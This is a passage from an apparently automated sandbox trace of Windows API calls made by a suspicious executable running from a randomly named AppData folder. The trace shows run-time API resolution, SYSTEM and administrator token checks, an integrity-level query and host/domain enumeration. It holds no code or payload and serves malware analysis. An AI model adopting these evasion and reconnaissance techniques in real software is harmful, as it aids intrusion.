hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.453] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x10) returned 0x220f6b0 [0259.453] GetProcAddress (hModule=0x77230000, lpProcName="RegDeleteValueA") returned 0x772507a0 [0259.453] lstrlenA (lpString="RegDeleteValueA") returned 15 [0259.453] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.453] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x19) returned 0x220f6b0 [0259.453] GetProcAddress (hModule=0x77230000, lpProcName="AllocateAndInitializeSid") returned 0x7724f440 [0259.453] lstrlenA (lpString="AllocateAndInitializeSid") returned 24 [0259.454] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.454] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x11) returned 0x220f6b0 [0259.454] GetProcAddress (hModule=0x77230000, lpProcName="SetEntriesInAclA") returned 0x772536e0 [0259.454] lstrlenA (lpString="SetEntriesInAclA") returned 16 [0259.454] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.454] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x16) returned 0x220f6b0 [0259.454] GetProcAddress (hModule=0x77230000, lpProcName="SetNamedSecurityInfoA") returned 0x772534a0 [0259.454] lstrlenA (lpString="SetNamedSecurityInfoA") returned 21 [0259.454] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.454] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x11) returned 0x220f6b0 [0259.454] GetProcAddress (hModule=0x77230000, lpProcName="SetFileSecurityW") returned 0x77250920 [0259.454] lstrlenA (lpString="SetFileSecurityW") returned 16 [0259.454] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.454] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x8) returned 0x220f6b0 [0259.454] GetProcAddress (hModule=0x77230000, lpProcName="FreeSid") returned 0x7724fa80 [0259.454] lstrlenA (lpString="FreeSid") returned 7 [0259.454] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.454] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x12) returned 0x220f6b0 [0259.454] GetProcAddress (hModule=0x77230000, lpProcName="LookupAccountSidA") returned 0x772750b0 [0259.454] lstrlenA (lpString="LookupAccountSidA") returned 17 [0259.454] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.455] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x12) returned 0x220f6b0 [0259.455] GetProcAddress (hModule=0x77230000, lpProcName="LookupAccountSidW") returned 0x7724f100 [0259.455] lstrlenA (lpString="LookupAccountSidW") returned 17 [0259.455] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.455] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x15) returned 0x220f6b0 [0259.455] GetProcAddress (hModule=0x77230000, lpProcName="CreateProcessAsUserW") returned 0x77250690 [0259.455] lstrlenA (lpString="CreateProcessAsUserW") returned 20 [0259.455] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.455] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xc) returned 0x220f6b0 [0259.455] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x74720000 [0259.455] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xe) returned 0x220f6c8 [0259.455] GetProcAddress (hModule=0x74720000, lpProcName="ShellExecuteW") returned 0x748842e0 [0259.455] lstrlenA (lpString="ShellExecuteW") returned 13 [0259.455] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6c8 | out: hHeap=0x2190000) returned 1 [0259.455] lstrlenA (lpString="shell32.dll") returned 11 [0259.455] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.455] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xb) returned 0x220f6b0 [0259.455] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76850000 [0259.455] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xc) returned 0x220f6c8 [0259.456] GetProcAddress (hModule=0x76850000, lpProcName="EnumWindows") returned 0x7686a3c0 [0259.456] lstrlenA (lpString="EnumWindows") returned 11 [0259.456] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6c8 | out: hHeap=0x2190000) returned 1 [0259.456] lstrlenA (lpString="user32.dll") returned 10 [0259.456] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.456] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xc) returned 0x220f6b0 [0259.456] LoadLibraryA (lpLibFileName="shlwapi.dll") returned 0x76bd0000 [0259.456] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x9) returned 0x220f6c8 [0259.456] GetProcAddress (hModule=0x76bd0000, lpProcName="StrStrIA") returned 0x76be8370 [0259.456] lstrlenA (lpString="StrStrIA") returned 8 [0259.456] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6c8 | out: hHeap=0x2190000) returned 1 [0259.456] lstrlenA (lpString="shlwapi.dll") returned 11 [0259.456] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.456] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x9) returned 0x220f6b0 [0259.456] GetProcAddress (hModule=0x76bd0000, lpProcName="StrStrIW") returned 0x76be4390 [0259.456] lstrlenA (lpString="StrStrIW") returned 8 [0259.456] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.456] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x9) returned 0x220f6b0 [0259.457] GetProcAddress (hModule=0x76bd0000, lpProcName="StrCmpIW") returned 0x76be1660 [0259.457] lstrlenA (lpString="StrCmpIW") returned 8 [0259.457] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.457] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xd) returned 0x220f6b0 [0259.457] GetProcAddress (hModule=0x76bd0000, lpProcName="PathCombineA") returned 0x76bebf40 [0259.457] lstrlenA (lpString="PathCombineA") returned 12 [0259.457] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.457] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xd) returned 0x220f6b0 [0259.457] GetProcAddress (hModule=0x76bd0000, lpProcName="PathCombineW") returned 0x76be8890 [0259.457] lstrlenA (lpString="PathCombineW") returned 12 [0259.457] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.457] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xf) returned 0x220f6b0 [0259.457] GetProcAddress (hModule=0x76bd0000, lpProcName="PathMatchSpecA") returned 0x76bec2a0 [0259.457] lstrlenA (lpString="PathMatchSpecA") returned 14 [0259.457] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.457] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xf) returned 0x220f6b0 [0259.457] GetProcAddress (hModule=0x76bd0000, lpProcName="PathMatchSpecW") returned 0x76bec300 [0259.457] lstrlenA (lpString="PathMatchSpecW") returned 14 [0259.457] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.457] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x13) returned 0x220f6b0 [0259.458] GetProcAddress (hModule=0x76bd0000, lpProcName="PathUnquoteSpacesW") returned 0x76be4a50 [0259.458] lstrlenA (lpString="PathUnquoteSpacesW") returned 18 [0259.458] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.458] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x9) returned 0x220f6b0 [0259.458] GetProcAddress (hModule=0x76bd0000, lpProcName="StrTrimW") returned 0x76be7300 [0259.458] lstrlenA (lpString="StrTrimW") returned 8 [0259.458] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.458] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xa) returned 0x220f6b0 [0259.458] GetProcAddress (hModule=0x76bd0000, lpProcName="StrCmpNIA") returned 0x76beca70 [0259.458] lstrlenA (lpString="StrCmpNIA") returned 9 [0259.458] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.458] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x8) returned 0x220f6b0 [0259.458] GetProcAddress (hModule=0x76bd0000, lpProcName="StrStrW") returned 0x76be7850 [0259.458] lstrlenA (lpString="StrStrW") returned 7 [0259.458] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.458] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xd) returned 0x220f6b0 [0259.458] LoadLibraryA (lpLibFileName="setupapi.dll") returned 0x76430000 [0259.463] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x16) returned 0x220f6c8 [0259.463] GetProcAddress (hModule=0x76430000, lpProcName="SetupDiEnumDeviceInfo") returned 0x76448a60 [0259.463] lstrlenA (lpString="SetupDiEnumDeviceInfo") returned 21 [0259.463] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6c8 | out: hHeap=0x2190000) returned 1 [0259.463] lstrlenA (lpString="setupapi.dll") returned 12 [0259.463] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.463] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x1d) returned 0x220f6b0 [0259.463] GetProcAddress (hModule=0x76430000, lpProcName="SetupDiDestroyDeviceInfoList") returned 0x76448640 [0259.463] lstrlenA (lpString="SetupDiDestroyDeviceInfoList") returned 28 [0259.464] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.464] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x15) returned 0x220f6b0 [0259.464] GetProcAddress (hModule=0x76430000, lpProcName="SetupDiGetClassDevsA") returned 0x76458af0 [0259.464] lstrlenA (lpString="SetupDiGetClassDevsA") returned 20 [0259.464] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.464] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x22) returned 0x220f6b0 [0259.464] GetProcAddress (hModule=0x76430000, lpProcName="SetupDiGetDeviceRegistryPropertyA") returned 0x764580f0 [0259.464] lstrlenA (lpString="SetupDiGetDeviceRegistryPropertyA") returned 33 [0259.464] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.464] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0259.464] GetCurrentProcessId () returned 0x1348 [0259.464] GetTickCount () returned 0x11814dd [0259.464] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x412140, nSize=0x105 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\qieeyrekuc\\xafpqko.exe")) returned 0x40 [0259.464] GetCurrentProcess () returned 0xffffffff [0259.464] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19f304 | out: TokenHandle=0x19f304*=0x230) returned 1 [0259.464] GetTokenInformation (in: TokenHandle=0x230, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x19f2e4 | out: TokenInformation=0x0, ReturnLength=0x19f2e4) returned 0 [0259.464] GetLastError () returned 0x7a [0259.464] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x24) returned 0x220f6b0 [0259.464] GetTokenInformation (in: TokenHandle=0x230, TokenInformationClass=0x1, TokenInformation=0x220f6b0, TokenInformationLength=0x24, ReturnLength=0x19f300 | out: TokenInformation=0x220f6b0, ReturnLength=0x19f300) returned 1 [0259.465] CloseHandle (hObject=0x230) returned 1 [0259.465] AllocateAndInitializeSid (in: pIdentifierAuthority=0x19f2f8, nSubAuthorityCount=0x1, nSubAuthority0=0x12, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x19f300 | out: pSid=0x19f300*=0x59be40*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 1 [0259.465] EqualSid (pSid1=0x220f6b8*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xb4)), pSid2=0x59be40*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 0 [0259.465] GetCurrentThread () returned 0xfffffffe [0259.465] OpenThreadToken (in: ThreadHandle=0xfffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x19f2dc | out: TokenHandle=0x19f2dc*=0x0) returned 0 [0259.465] GetLastError () returned 0x3f0 [0259.465] GetCurrentProcess () returned 0xffffffff [0259.465] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19f2dc | out: TokenHandle=0x19f2dc*=0x230) returned 1 [0259.465] GetTokenInformation (in: TokenHandle=0x230, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x19f2cc | out: TokenInformation=0x0, ReturnLength=0x19f2cc) returned 0 [0259.465] GetLastError () returned 0x7a [0259.465] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x140) returned 0x220f6e0 [0259.465] GetTokenInformation (in: TokenHandle=0x230, TokenInformationClass=0x2, TokenInformation=0x220f6e0, TokenInformationLength=0x140, ReturnLength=0x19f2f4 | out: TokenInformation=0x220f6e0, ReturnLength=0x19f2f4) returned 1 [0259.465] AllocateAndInitializeSid (in: pIdentifierAuthority=0x19f2ec, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x19f300 | out: pSid=0x19f300*=0x59bd98*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0259.465] EqualSid (pSid1=0x220f754*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xb4)), pSid2=0x59bd98*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0 [0259.465] EqualSid (pSid1=0x220f770*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0), pSid2=0x59bd98*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0 [0259.465] EqualSid (pSid1=0x220f77c*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x72), pSid2=0x59bd98*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0 [0259.465] EqualSid (pSid1=0x220f788*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x59bd98*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0259.465] CloseHandle (hObject=0x230) returned 1 [0259.465] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6e0 | out: hHeap=0x2190000) returned 1 [0259.465] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xd) returned 0x220f6e0 [0259.465] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xf) returned 0x220f6f8 [0259.465] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74560000 [0259.466] lstrlenA (lpString="kernel32.dll") returned 12 [0259.466] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6e0 | out: hHeap=0x2190000) returned 1 [0259.466] GetProcAddress (hModule=0x74560000, lpProcName="GetProcAddress") returned 0x745751b0 [0259.466] lstrlenA (lpString="GetProcAddress") returned 14 [0259.466] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6f8 | out: hHeap=0x2190000) returned 1 [0259.466] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xd) returned 0x220f6e0 [0259.466] LoadLibraryA (lpLibFileName="netapi32.dll") returned 0x74060000 [0259.468] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x11) returned 0x220f6f8 [0259.468] GetProcAddress (hModule=0x74060000, lpProcName="NetApiBufferFree") returned 0x740517c0 [0259.471] lstrlenA (lpString="NetApiBufferFree") returned 16 [0259.471] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6f8 | out: hHeap=0x2190000) returned 1 [0259.471] lstrlenA (lpString="netapi32.dll") returned 12 [0259.471] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6e0 | out: hHeap=0x2190000) returned 1 [0259.471] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xc) returned 0x220f6e0 [0259.471] GetProcAddress (hModule=0x74060000, lpProcName="NetUserEnum") returned 0x74033970 [0259.473] lstrlenA (lpString="NetUserEnum") returned 11 [0259.473] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6e0 | out: hHeap=0x2190000) returned 1 [0259.473] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xd) returned 0x220f6e0 [0259.473] GetProcAddress (hModule=0x74060000, lpProcName="NetGetDCName") returned 0x7401db20 [0259.477] lstrlenA (lpString="NetGetDCName") returned 12 [0259.477] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6e0 | out: hHeap=0x2190000) returned 1 [0259.477] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x16) returned 0x220f6e0 [0259.477] GetProcAddress (hModule=0x74060000, lpProcName="NetGetJoinInformation") returned 0x73ff3060 [0259.483] lstrlenA (lpString="NetGetJoinInformation") returned 21 [0259.483] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6e0 | out: hHeap=0x2190000) returned 1 [0259.483] NetGetDCName (in: servername=0x0, domainname=0x0, bufptr=0x19ff3c | out: bufptr=0x19ff3c) returned 0x995 [0259.487] NetGetJoinInformation (in: lpServer=0x0, lpNameBuffer=0x19ff3c, BufferType=0x19ff34 | out: lpNameBuffer=0x19ff3c*="WORKGROUP", BufferType=0x19ff34) returned 0x0 [0259.489] lstrlenW (lpString="WORKGROUP") returned 9 [0259.489] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x14) returned 0x220f6e0 [0259.489] NetApiBufferFree (Buffer=0x574b88) returned 0x0 [0259.489] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x220f6b8*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xb4)), Name=0x4109e8, cchName=0x19ff38, ReferencedDomainName=0x19fcec, cchReferencedDomainName=0x19ff48, peUse=0x19ff30 | out: Name="FD1HVy", cchName=0x19ff38, ReferencedDomainName="NQDPDE", cchReferencedDomainName=0x19ff48, peUse=0x19ff30) returned 1 [0259.492] GetSystemMetrics (nIndex=4096) returned 0 [0259.498] GetModuleFileNameW (in: hModule=0x400000, lpFilename=0x410af8, nSize=0x20a | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\qieeyrekuc\\xafpqko.exe")) returned 0x40 [0259.498] lstrcpynW (in: lpString1=0x4109a4, lpString2="xafpqko.exe", iMaxLength=64 | out: lpString1="xafpqko.exe") returned="xafpqko.exe" [0259.499] lstrlenW (lpString="xafpqko.exe") returned 11 [0259.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="xafpqko", cchWideChar=-1, lpMultiByteStr=0x410984, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xafpqko", lpUsedDefaultChar=0x0) returned 8 [0259.499] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe") returned 64 [0259.499] lstrcpynW (in: lpString1=0x410f38, lpString2="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc", iMaxLength=261 | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc" [0259.499] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc", lpString2="\\" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\" [0259.499] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\", lpString2="xafpqko" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko" [0259.499] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xa) returned 0x220f700 [0259.499] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko", lpString2=".dat" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat" [0259.499] lstrlenA (lpString=".") returned 1 [0259.499] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f700 | out: hHeap=0x2190000) returned 1 [0259.499] lstrlenA (lpString="user32.dll") returned 10 [0259.499] lstrlenA (lpString="user32.dll") returned 10 [0259.499] lstrlenA (lpString="user32.dll") returned 10 [0259.499] lstrlenA (lpString="user32.dll") returned 10 [0259.499] lstrlenA (lpString="user32.dll") returned 10 [0259.499] lstrlenA (lpString="user32.dll") returned 10 [0259.499] lstrlenA (lpString="user32.dll") returned 10 [0259.499] lstrlenA (lpString="user32.dll") returned 10 [0259.500] lstrlenA (lpString="user32.dll") returned 10 [0259.500] lstrlenA (lpString="user32.dll") returned 10 [0259.500] lstrlenA (lpString="user32.dll") returned 10 [0259.500] lstrlenA (lpString="user32.dll") returned 10 [0259.500] lstrlenA (lpString="user32.dll") returned 10 [0259.500] lstrlenA (lpString="user32.dll") returned 10 [0259.500] lstrlenA (lpString="user32.dll") returned 10 [0259.500] lstrlenA (lpString="user32.dll") returned 10 [0259.500] lstrlenA (lpString="xafpqko") returned 7 [0259.500] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x1b) returned 0x220f700 [0259.500] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xb) returned 0x220f728 [0259.500] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0259.500] lstrlenA (lpString="user32.dll") returned 10 [0259.500] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0259.500] lstrlenA (lpString="user32.dll") returned 10 [0259.500] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0259.500] lstrlenA (lpString="user32.dll") returned 10 [0259.500] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0259.500] lstrlenA (lpString="user32.dll") returned 10 [0259.500] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0259.500] lstrlenA (lpString="user32.dll") returned 10 [0259.500] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0259.500] lstrlenA (lpString="user32.dll") returned 10 [0259.500] lstrlenA (lpString="1234567890") returned 10 [0259.500] lstrlenA (lpString="user32.dll") returned 10 [0259.501] lstrlenA (lpString="1234567890") returned 10 [0259.501] lstrlenA (lpString="user32.dll") returned 10 [0259.501] lstrlenA (lpString="1234567890") returned 10 [0259.501] lstrlenA (lpString="user32.dll") returned 10 [0259.501] lstrlenA (lpString="1234567890") returned 10 [0259.501] lstrlenA (lpString="user32.dll") returned 10 [0259.501] lstrlenA (lpString="1234567890") returned 10 [0259.501] lstrlenA (lpString="user32.dll") returned 10 [0259.501] lstrlenA (lpString="1234567890") returned 10 [0259.501] lstrlenA (lpString="user32.dll") returned 10 [0259.501] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0259.501] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f700 | out: hHeap=0x2190000) returned 1 [0259.501] lstrlenA (lpString="1234567890") returned 10 [0259.501] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f728 | out: hHeap=0x2190000) returned 1 [0259.501] GetCurrentProcess () returned 0xffffffff [0259.501] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19f304 | out: TokenHandle=0x19f304*=0x2a8) returned 1 [0259.501] GetTokenInformation (in: TokenHandle=0x2a8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x19f2dc | out: TokenInformation=0x0, ReturnLength=0x19f2dc) returned 0 [0259.501] GetLastError () returned 0x7a [0259.502] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x14) returned 0x220f700 [0259.502] GetTokenInformation (in: TokenHandle=0x2a8, TokenInformationClass=0x19, TokenInformation=0x220f700, TokenInformationLength=0x14, ReturnLength=0x19f2fc | out: TokenInformation=0x220f700, ReturnLength=0x19f2fc) returned 1 [0259.502] GetSidSubAuthorityCount (pSid=0x220f708*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x220f709 [0259.502] GetSidSubAuthority 